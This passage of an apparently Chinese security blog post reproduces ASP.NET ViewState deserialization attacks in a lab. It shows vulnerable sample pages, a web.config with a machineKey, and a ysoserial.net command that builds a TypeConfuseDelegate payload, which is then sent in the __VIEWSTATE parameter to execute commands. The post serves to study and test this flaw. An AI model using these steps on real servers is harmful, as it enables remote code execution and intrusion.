0.1em;">ObjectStateFormatter、LOSFormatter、BinaryFormatter 等。<br/></span><span style="letter-spacing: 0.1em;"><br/>ASP.NET 使用 LosFormatter 序列化 ViewState，并将其作为隐藏的表单字段发送到客户端。</span><span style="letter-spacing: 0.1em;">一旦序列化 ViewState 在 POST 请求期间被发送回服务器，它将使用</span><span style="letter-spacing: 0.1em;">ObjectStateFormatter 进行反序列化。<br/></span><span style="letter-spacing: 0.1em;"><br/>为了使 ViewState 不受篡改，存在一个启用 ViewState MAC 的选项，通过设置一个值并在反序列化期间对 ViewState 的值进行完整性检查。</span></p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">Burp 插件安装</h3><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">Viewstate 的插件在老版本的 bp 里才有，新版 bp 需要手动去下载安装，在 bp 的 BApp Store 里搜索 ViewState Editor 安装即可<span style="letter-spacing: 0.1em;">。<br/></span><span style="letter-spacing: 0.1em;">ysoerial.net 工具地址: <br/><a href="https://github.com/pwntester/ysoserial.net" target="_blank">https://github.com/pwntester/ysoserial.net</a></span></p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14.3px;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">三、复现</h2><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14.3px;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">1、 Target framework ≤4.0 (ViewState Mac is disabled)</h2><p><span style="font-size: 12px;color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;text-align: start;">修改注册表<br/></span><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 12px;text-align: start;">(HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft.NETFramework\v4.0.30319)，</span><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 12px;text-align: start;">AspNetEnforceViewStateMac 的值修改为 0</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.4658385093167702" title="null" data-w="1288" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=44ee3fbc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794K0ic3NAEK1KqA822ibPWgkcegjnmticKCCsaIOJliaGotFBrbOrREkf7Nzibk49UwaF89mK1yolnOvkg%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">准备前端 hello.aspx，内容如下：</span></p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;"><span style="padding: initial;display: block;height: 25px;background-color: transparent;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaVIMsNic5YPIsV5YHtked3KBkb3NnwibY3fJDdrK96SicZCkU3q3aomzudP9icDpoyxWnKu8e1s1AHEg1EAu84jM3rd/640?wx_fmt=svg&#34;);background-position: 14px 10px;background-repeat: no-repeat;background-size: 40px;"></span><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;font-size: 13px;white-space: nowrap;">&lt;%@ Page Language=&#34;C#&#34; AutoEventWireup=&#34;true&#34; CodeFile=&#34;hello.aspx.cs&#34; Inherits=&#34;hello&#34; %&gt;<br/>&lt;!DOCTYPE html&gt;<br/>&lt;html xmlns=&#34;<a href="http://www.w3.org/1999/xhtml" target="_blank">http://www.w3.org/1999/xhtml</a>&#34;&gt;<br/>&lt;head runat=&#34;server&#34;&gt;<br/>    &lt;title&gt;&lt;/title&gt;<br/>&lt;/head&gt;<br/>&lt;body&gt;<br/>    &lt;form id=&#34;form1&#34; runat=&#34;server&#34;&gt;<br/>        &lt;asp:TextBox id=&#34;TextArea1&#34; TextMode=&#34;multiline&#34; Columns=&#34;50&#34; Rows=&#34;5&#34; runat=&#34;server&#34; /&gt;<br/>        &lt;asp:Button ID=&#34;Button1&#34; runat=&#34;server&#34; OnClick=&#34;Button1_Click&#34;<br/>                 Text=&#34;GO&#34; class=&#34;btn&#34;/&gt;<br/>  &lt;br /&gt;<br/>        &lt;asp:Label ID=&#34;Label1&#34; runat=&#34;server&#34;&gt;&lt;/asp:Label&gt;<br/>    &lt;/form&gt;<br/>&lt;/body&gt;<br/>&lt;/html&gt;</code></pre><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">hello.aspx.cs 内容：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;"><span style="padding: initial;display: block;height: 25px;background-color: transparent;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaVIMsNic5YPIsV5YHtked3KBkb3NnwibY3fJDdrK96SicZCkU3q3aomzudP9icDpoyxWnKu8e1s1AHEg1EAu84jM3rd/640?wx_fmt=svg&#34;);background-position: 14px 10px;background-repeat: no-repeat;background-size: 40px;"></span><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;font-size: 13px;white-space: nowrap;">using System;<br/>using System.Collections.Generic;<br/>using System.Web;<br/>using System.Web.UI;<br/>using System.Web.UI.WebControls;<br/>using System.Text.RegularExpressions;<br/>using System.Text;<br/>using System.IO;<br/>public partial class hello : System.Web.UI.Page<br/>{<br/>    protected void Page_Load(object sender, EventArgs e)<br/>    {<br/>}<br/> protected override void OnInit(EventArgs e)<br/>    {<br/>        base.OnInit(e);<br/> }<br/>    protected void Button1_Click(object sender, EventArgs e)<br/>    {<br/>        Label1.Text = TextArea1.Text.ToString();<br/>    }<br/>}</code></pre><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">访问 hello.aspx 文件发送 post 请求。此时 MAC 验证功能被禁用。</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.5375647668393783" title="null" data-w="772" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=c94951a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794K0ic3NAEK1KqA822ibPWgkcXCOt0HQb8pBxhAMp1NxjUldhBNUyibHic8971JYORz5YGDtEhKYNpJvQ%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">ysoserial 生成 payload</span></p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;"><span style="padding: initial;display: block;height: 25px;background-color: transparent;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaVIMsNic5YPIsV5YHtked3KBkb3NnwibY3fJDdrK96SicZCkU3q3aomzudP9icDpoyxWnKu8e1s1AHEg1EAu84jM3rd/640?wx_fmt=svg&#34;);background-position: 14px 10px;background-repeat: no-repeat;background-size: 40px;"></span><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;font-size: 13px;white-space: nowrap;">ysoserial.exe -o base64 -g TypeConfuseDelegate -f LosFormatter -c &#34;echo 7bits666 &gt; C:\Windows\temp\test.txt&#34;</code></pre><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.46688741721854304" title="null" data-w="1208" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=a806ac7a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794K0ic3NAEK1KqA822ibPWgkcCib3nZ7BNC7fxYBskGStIKibX26crzibSeStsIIicuibUoY7EZYBjp3Poicw%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">复制生成的 payload，url 编码一次发送到__viewstate 参数即可反序列化命令执行。 </span></p><section><video controls="" poster="https://wechat2rss.xlab.app/img-proxy/?k=e52bd5a0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FPLeCXQl8794K0ic3NAEK1KqA822ibPWgkcShldL0RHr18A56hdsmbttwtAjqKCckFAg6yBfGOo9p8EjqwVMicQKhw%2F0%3Fwx_fmt%3Djpeg" src="https://wechat2rss.xlab.app/video-proxy/?k=eb9e1046&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNjMyNzM1Nw%3D%3D%26mid%3D2247499203%26idx%3D1%26sn%3D6dcd6418c4d25db7772cafa43c71a04c%26subscene%3D0&amp;v=wxv_2624140160829587457"></video><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;"></span></section><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14.3px;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">2、When ViewState is removed from the HTTP request</h2><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">有的场景中，post 请求包里并不会带上__viewstate 参数，但是这样并不是安全的。这里继续使用上面一个场景中的前端代码，修改后端代码如下：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;"><span style="padding: initial;display: block;height: 25px;background-color: transparent;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaVIMsNic5YPIsV5YHtked3KBkb3NnwibY3fJDdrK96SicZCkU3q3aomzudP9icDpoyxWnKu8e1s1AHEg1EAu84jM3rd/640?wx_fmt=svg&#34;);background-position: 14px 10px;background-repeat: no-repeat;background-size: 40px;"></span><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;font-size: 13px;white-space: nowrap;">using System;<br/>using System.Collections.Generic;<br/>using System.Web;<br/>using System.Web.UI;<br/>using System.Web.UI.WebControls;<br/>using System.Text.RegularExpressions;<br/>using System.Text;<br/>using System.IO;<br/>public class BasePage : System.Web.UI.Page<br/>{<br/> protected override void Render(HtmlTextWriter writer)<br/> {<br/> StringBuilder sb = new StringBuilder();<br/> StringWriter sw = new StringWriter(sb);<br/> HtmlTextWriter hWriter = new HtmlTextWriter(sw);<br/> base.Render(hWriter);<br/> string html = sb.ToString();<br/> html = Regex.Replace(html, &#34;&lt;input[^&gt;]*id=\&#34;(__VIEWSTATE)\&#34;[^&gt;]*&gt;&#34;, string.Empty, RegexOptions.IgnoreCase);<br/> writer.Write(html);<br/> }<br/>}<br/>public partial class hello : BasePage<br/>{<br/> protected void Page_Load(object sender, EventArgs e)<br/> {<br/>}<br/> protected void Button1_Click(object sender, EventArgs e)<br/> {<br/> Label1.Text = TextArea1.Text.ToString();<br/> }<br/>}</code></pre><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">此时抓包发现，post 数据包里并没有带上</span><strong style="font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;color: rgb(15, 76, 129);">VIEWSTATE 的参数。</strong></p><figure style="line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><strong style="font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;color: rgb(15, 76, 129);"><img class="rich_pages wxw-img" data-ratio="0.5984354628422425" title="null" data-w="767" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=5d59405d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794K0ic3NAEK1KqA822ibPWgkcAK0BufQhYg5DAtiaaVZNv8QvGrkE5eCEWS7sGAoibhyQlbZa6pFPZw0A%2F640%3Fwx_fmt%3Dpng"/></strong></figure><p><strong style="font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;color: rgb(15, 76, 129);">需要做的事，只需要手动添加上</strong><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">VIEWSTATE 参数，payload 如上一个场景中一样传入，同样可以反序列化成功。 </span></p><section><video controls="" poster="https://wechat2rss.xlab.app/img-proxy/?k=fffd1078&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FPLeCXQl8794K0ic3NAEK1KqA822ibPWgkcAzpmqLAHvx0BJrbibzEpZM2oGdxCjCsLSnKwkQh6GYOylmZO6iafyeGQ%2F0%3Fwx_fmt%3Djpeg" src="https://wechat2rss.xlab.app/video-proxy/?k=b3184341&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNjMyNzM1Nw%3D%3D%26mid%3D2247499203%26idx%3D1%26sn%3D6dcd6418c4d25db7772cafa43c71a04c%26subscene%3D0&amp;v=wxv_2624142630284787714"></video></section><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14.3px;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">3、framework ≤4.0 (ViewState Mac is enabled)</h2><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">环境</h3><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">IIS（.net 4.0）</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.2879120879120879" title="null" data-w="910" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=a3cfe8e7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794K0ic3NAEK1KqA822ibPWgkcmEMxUnMlFTN4ld9st807VGf6vHt7rpOZxe8YEJy7tTTTvmXovlH3Rw%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">iis 中开启</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.5201612903225806" title="null" data-w="1240" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=41ac1e75&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794K0ic3NAEK1KqA822ibPWgkcibfQ9pHZO7yeeRjDDvQic2vdINVwRJ0jOeEpbCPbicDRW60n0ayqAdXdQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">设置自动生成密钥后应用。在 web 的根目录下生成 web.config。</p><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">假设 MAC 已为 ViewState 启用，并且由于本地文件读取、XXE 等漏洞，我们可以访问带有验证密钥和算法等配置的 web.config 文件，如上所示，我们可以使用 ysoserial.net 和通过提供验证密钥和算法作为参数来生成有效负载。</p><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">出于演示的目的，我们使用了具有以下代码库的示例应用程序，并假设由于任何文件读取漏洞，攻击者已经访问了 web.config 文件</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;"><span style="padding: initial;display: block;height: 25px;background-color: transparent;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaVIMsNic5YPIsV5YHtked3KBkb3NnwibY3fJDdrK96SicZCkU3q3aomzudP9icDpoyxWnKu8e1s1AHEg1EAu84jM3rd/640?wx_fmt=svg&#34;);background-position: 14px 10px;background-repeat: no-repeat;background-size: 40px;"></span><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;font-size: 13px;white-space: nowrap;">&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&gt;<br/>&lt;configuration&gt;<br/>&lt;system.web&gt;<br/>&lt;customErrors mode=&#34;Off&#34; /&gt;<br/> &lt;machineKey validation=&#34;SHA1&#34; validationKey=&#34;C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45&#34; /&gt;<br/> &lt;pages enableViewStateMac=&#34;true&#34; enableEventValidation=&#34;false&#34; /&gt;<br/>&lt;/system.web&gt;<br/>&lt;/configuration&gt;</code></pre><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">注意 web.config 中的 <code style="line-height: 1.75;font-size: 12px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;word-break: break-all;">enableViewStateMac=&#34;true&#34; //以在 ViewState 中启用 MAC（消息验证码）enableEventValidation=&#34;false&#34; //关闭与 ViewState 一起使用的不同加密/验证算法</code> 前端 hello.aspx 文件内容</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;"><span style="padding: initial;display: block;height: 25px;background-color: transparent;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaVIMsNic5YPIsV5YHtked3KBkb3NnwibY3fJDdrK96SicZCkU3q3aomzudP9icDpoyxWnKu8e1s1AHEg1EAu84jM3rd/640?wx_fmt=svg&#34;);background-position: 14px 10px;background-repeat: no-repeat;background-size: 40px;"></span><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;font-size: 13px;white-space: nowrap;">&lt;%@ Page Language=&#34;C#&#34; AutoEventWireup=&#34;true&#34; CodeFile=&#34;hello.aspx.cs&#34; Inherits=&#34;hello&#34; %&gt;<br/>&lt;!DOCTYPE html&gt;<br/>&lt;html xmlns=&#34;<a href="http://www.w3.org/1999/xhtml" target="_blank">http://www.w3.org/1999/xhtml</a>&#34;&gt;<br/>&lt;head runat=&#34;server&#34;&gt;<br/>    &lt;title&gt;&lt;/title&gt;<br/>&lt;/head&gt;<br/>&lt;body&gt;<br/>    &lt;form id=&#34;form1&#34; runat=&#34;server&#34;&gt;<br/>        &lt;asp:TextBox id=&#34;TextArea1&#34; TextMode=&#34;multiline&#34; Columns=&#34;50&#34; Rows=&#34;5&#34; runat=&#34;server&#34; /&gt;<br/>        &lt;asp:Button ID=&#34;Button1&#34; runat=&#34;server&#34; OnClick=&#34;Button1_Click&#34;<br/>                 Text=&#34;GO&#34; class=&#34;btn&#34;/&gt;<br/>  &lt;br /&gt;<br/>        &lt;asp:Label ID=&#34;Label1&#34; runat=&#34;server&#34;&gt;&lt;/asp:Label&gt;<br/>    &lt;/form&gt;<br/>&lt;/body&gt;<br/>&lt;/html&gt;</code></pre><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">hello.aspx.cs 文件内容</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;"><span style="padding: initial;display: block;height: 25px;background-color: transparent;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaVIMsNic5YPIsV5YHtked3KBkb3NnwibY3fJDdrK96SicZCkU3q3aomzudP9icDpoyxWnKu8e1s1AHEg1EAu84jM3rd/640?wx_fmt=svg&#34;);background-position: 14px 10px;background-repeat: no-repeat;background-size: 40px;"></span><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;font-size: 13px;white-space: nowrap;">using System;<br/>using System.Collections.Generic;<br/>using System.Web;<br/>using System.Web.UI;<br/>using System.Web.UI.WebControls;<br/>using System.Text.RegularExpressions;<br/>using System.Text;<br/>using System.IO;<br/>public partial class hello : System.Web.UI.Page<br/>{<br/>    protected void Page_Load(object sender, EventArgs e)<br/>    {<br/>}<br/> protected override void OnInit(EventArgs e)<br/>    {<br/>        base.OnInit(e);<br/> }<br/>    protected void Button1_Click(object sender, EventArgs e)<br/>    {<br/>        Label1.Text = TextArea1.Text.ToString();<br/>    }<br/>}</code></pre><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">访问 hello.aspx 